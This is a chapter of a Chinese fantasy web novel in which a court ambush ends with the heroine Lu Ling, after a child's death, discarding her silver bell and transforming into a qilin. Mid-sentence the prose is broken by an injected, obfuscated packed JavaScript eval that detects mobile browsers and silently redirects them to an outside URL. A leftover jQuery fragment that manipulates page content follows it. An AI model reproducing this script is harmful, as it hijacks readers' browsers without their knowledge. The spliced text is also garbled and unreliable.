46. 麒麟
作品:《神明,但遵纪守法》 长生祠的火焰还在升腾,将龙首原的天空染成一片血红。
皇帝抬手的瞬间,时间仿佛被无限拉长。禁军弓弩上弦的吱嘎声、火星爆裂的噼啪声、远处潘太妃压抑的啜泣声,所有声音交织成一张网。
皇帝短暂地欣赏了一下众人的惊慌,而后果断向早就埋伏在附近的禁军下令:“放箭!”
皇帝的命令是没有区分对象的,于是不是未央还是温照白都成为了箭雨的目标,混乱中有箭直冲大长公主而来,千钧一发之际,面对夺命的利箭,温照白下意识挥动前一刻还横在她面前的短刀。
“叮”一声,利箭被格挡,掉落在地。
平昭大长公主忽然笑了。
“照白,”她侧过头,颈间的血痕在火光中格外刺目,“母亲说过,你和你父亲一样心软。”
话音未落,她伸手一拍温照白的肩膀,身形陡然一缩,身法灵巧,瞬间就挣脱了束缚,温照白刀下一空,她已经脱离了挟持。
她甚至没有回头看他,只是抬手拂了拂衣襟上的血渍。
“殿下!”罩袍人惊喜地冲上前。
平昭大长公主抬手制止了他。她转身,看向皇帝,目光平静:“陛下好算计,借我儿之手逼我现身,再借剿灭未央之名,将威胁你皇权的敌人一网打尽。”
皇帝微微一笑:“姑母过奖,姑母筹谋数年,更是……不遑多让。”
平昭大长公主定定看他一会儿:“你真以为,未央会束手就擒吗?”
……
鹿聆在箭雨袭来的瞬间就动了。
她将怀中的阿妙紧紧护住,神力枯竭的身体强行催动,在周身撑起一层薄薄的风壁将温照白和她二人都牢牢遮蔽。箭矢撞在风壁上,发出令人牙酸的摩擦声。
但是终究是在瞳界中消耗了太多的力气,此时面对接踵而至的袭击,鹿聆已几近力竭,温照白将她扶住,像在南州一样。
金吾卫在这场冲突中进退两难,金吾卫的首领徐行舟眼见温照白他们苦苦支撑:“国公……”温照白看着皇帝凉薄的神色,终究还是摇摇头:“不……别为了我,不值得了……”
就在此时,有未央的杀手的暗刀向鹿聆袭来,温照白勉力抵挡住,然而下一瞬却被甩到一旁。
鹿聆亲眼看到温照白突出一口血来,惊慌不已:“小白!”
就在此时,追杀进一步,鹿聆咬咬牙想要调动风力,却只有一阵清风拂过……她的神力已经耗尽了……
杀手已然近在咫尺,鹿聆无计可施,只能牢牢将阿妙护在怀中,而一旁的温照白只来得及喊出一声:“救她!”
徐行舟的刀没有来得及挥出去,就见一只瘦弱伶仃的手捏住了杀手的刀柄,那只手多细啊,细的仿佛一用力就能折断。
仿佛有一阵灰色的雾气顺着刀柄蔓延到杀手的手上,那只手竟然在呼吸的瞬间就变成了木头,杀手不可置信地发出一声惊呼。
鹿聆猝然抬头:“阿妙,你……”
怀中的阿妙的脸色已灰败如纸,胸口的起伏微弱得几乎看不见。但她的眼睛还睁着,那双清澈灵动的眼睛,正定定地望着鹿聆。
“鹿……姐姐……”她的嘴唇翕动,声音细如蚊蚋,“多谢你……”
鹿聆拼命摇头,方才在瞳界中,鹿聆用尽身上剩下的奉神泉水,才将几乎只剩一口气的阿妙救出来。那瓶从奉神山而来,原本用来救温照白的泉水,如今挽救了阿妙的最后一丝生机。
可也只是一丝生机,在强行催动后稷木化的能力后,阿妙呼出了最后一口气,她胸前灰色的宝石一样的吊坠猝然碎裂。
鹿聆用力抱着阿妙,她想催动神力保住阿妙的生机,却没能如愿。
阿妙抬起头,冲她露出一个安静的笑:“鹿姐姐,醒来吧……”
她的身体,寸寸化作飞灰。最后一点稷神的神力,那剥离出的、纯粹的善,化作一道温润的白光,没入鹿聆手中的银铃。
银铃的震响,戛然而止。
“阿妙!”
鹿聆的嘶喊被淹没在喊杀声中。
她跪在地上,手中捧着那缕即将消散的白光。
光影散去。
“原来如此……”她喃喃自语,“奉神让我戴着银铃,不是要我盲从善恶,而是要我看清……善恶的本质。”
她站起身,看向战场的另一端。
……
温照白已被禁军重重围困。
徐行舟带领着金吾卫在最初的混乱中试图保护他,但皇帝一道“晋国公勾结未央、挟持长公主、意图谋逆”的旨意,让他们陷入了两难,他们是皇家的刀,不能公然违抗皇命。
温照白单腿跪在地面,握紧了手中的刀。他背靠着一根尚未倒塌的廊柱,面对着步步紧逼的禁军。
他看见远处鹿聆跪地的身影,看见阿妙化作飞灰,看见她抬头时眼中那片死寂的清明。
“小鹿……走……”他喉头一甜,鲜血涌上,连日的劳心、方才的情绪冲击、此刻的绝境,让本就孱弱的身体终于到了极限。
一支箭从侧面射来,他勉强侧身,箭矢擦过肩胛,带起一蓬血花。
剧痛让他眼前一黑。
而就在这时,两名未央杀手,直扑鹿聆!
鹿聆看着他们扑来,手中凝聚起最后的神力。
“小鹿!不要!”温照白嘶喊。
她们都知道,鹿聆如今已是濒临绝境,再对这些人动用神力,反噬会直接抽干她本就濒临枯竭的生命……她会死的。
但她没有停。
鹿聆想起了奉神给予她银铃时说的话:世间善恶混沌、真假难辨,你如今还不能分辨世间善恶,这银铃可以引导你……
是引导,也是制约……
鹿聆闭上眼,她想起初见后稷时他说的“你如今只是一个小小的司命,神力全依托奉神……”还有神女湘君声声呼唤的“尊者……”
耳畔的风声、喊杀声、火焰焚烧声,渐渐远去。
她听见了自己的心跳,沉稳,有力,如同远古的鼓点。
她听见了血脉深处,某种沉睡已久的共鸣。
她伸手,摘下了耳畔最后一只银铃。
那银铃在她掌心微微颤动。
然后,她将它,轻轻抛进了身旁仍在燃烧的烈火中。
银铃遇火,没有融化,而是迸发出一道刺目的银光。光芒中,隐约有无数画面流转,潘府的惊雷、南州的水镜、奉神山的裂缝、瞳界里鹤观破碎的羽翼、阿妙最后的笑……
所有善恶,所有真伪,所有她曾依赖银铃判定的规则,在这一刻,汇入火焰,化作灰烬。
她以为阿妙是混沌了,想让自己从瞳界中醒来,原来,她从未醒来……
鹿聆睁开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045111|189858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼。
她的瞳孔深处,泛起一抹璀璨的金色流光。
“我不需要谁来告诉我……什么是善,什么是恶。”
她的声音很轻,却压过了整个战场的喧嚣。
“麒麟天生,就可以辨别善恶!”
话音落下。
龙首原上,狂风骤起。
那不是她催动的风,是天地感应,自然呼应。
她随着风升上半空,在众人眼中周身开始绽放光华,她的身形在光芒中开始变化。
她的肌肤浮现出细密而华美的玉色鳞纹。额间,一对晶莹剔透、如琉璃雕琢般的角缓缓生长而出,角身流转着天地法则的符文。
她的四肢舒展,落地时已是踏着祥云的麒麟之蹄。
最后,一条长长的、覆盖着玉色鳞片与金色鬃毛的尾巴,自她身后悠然扬起,通体如玉,眸含金辉,角似琉璃,蹄踏祥云。
上古祥瑞,仁兽麒麟,降临人间。
……
整个龙首原,瞬间死寂。
连皇帝都忘了下令,禁军忘了放箭,未央杀手忘了攻击。
所有人都望着那只伫立在火光与废墟中的玉色麒麟。
她并不巨大,甚至称得上优美灵秀,但周身散发出的那股威压,不是神明的威严,也不是野兽的凶戾,而是一种仿佛与天地共生、与法则同源的神圣与仁和。
麒麟天生灵目,洞穿虚妄,生而能辨是非善恶。
鹿聆抬起金色的眼眸,扫过众人。
她看见了禁军士兵眼中的恐惧与迷茫,看见了未央杀手身上缠绕的诸神残念,看见了平昭大长公主借助长生祠积攒的混杂神力,也看见了皇帝眼底深处,那掩饰不住的、对不可控力量的忌惮与杀意。
最后,她看到了温照白。
清风朗月的人如今满身狼狈,他靠在廊柱上,肩头染血,脸色苍白如纸,但望着她的眼中,没有恐惧,没有惊讶,只有一片温软的的笑意。
麒麟仰首,发出一声清越长吟。
那吟声如清泉涤荡污秽,瞬间席卷整个龙首原。
所有被后稷残念附着的未央杀手,齐齐僵住,眼中贪婪褪去,露出茫然,随即软倒在地。
平昭大长公主借助长生祠积蓄的神力疯狂外泄,反噬让她闷哼一声,连退数步。
禁军手中的弓弩,凡有杀意恶意者,竟自行崩裂。
麒麟之力,镇压万邪,涤荡罪孽。
众人都看到,那只麒麟缓步走向温照白。
所过之处,燃烧的火焰自动分开一条通路,倒地的砖石无声让路。它停在温照白面前,低下头,用温润的角轻轻碰了碰他的额头。
一股磅礴却温和的生机,涌入温照白体内。他肩头的伤口以肉眼可见的速度止血愈合,惨白的脸上也恢复了几分血色。
然后,麒麟俯身。
温照白会意,翻身跨上麒麟背脊。
麒麟踏前一步,足下祥云自生。它回头,最后看了一眼这片燃烧的、充满阴谋与鲜血的土地。
温照白也回过头,他看了一眼惊怒的皇帝,看了一眼神色复杂的母亲,看了一眼那些茫然无措的士兵和杀手。
然后,麒麟四蹄腾空,踏云而起。
万千惊雷之中,有一道玉金色的流光,如逆行的流星,划破龙首原血色的天空,向着远方,疾驰而去。

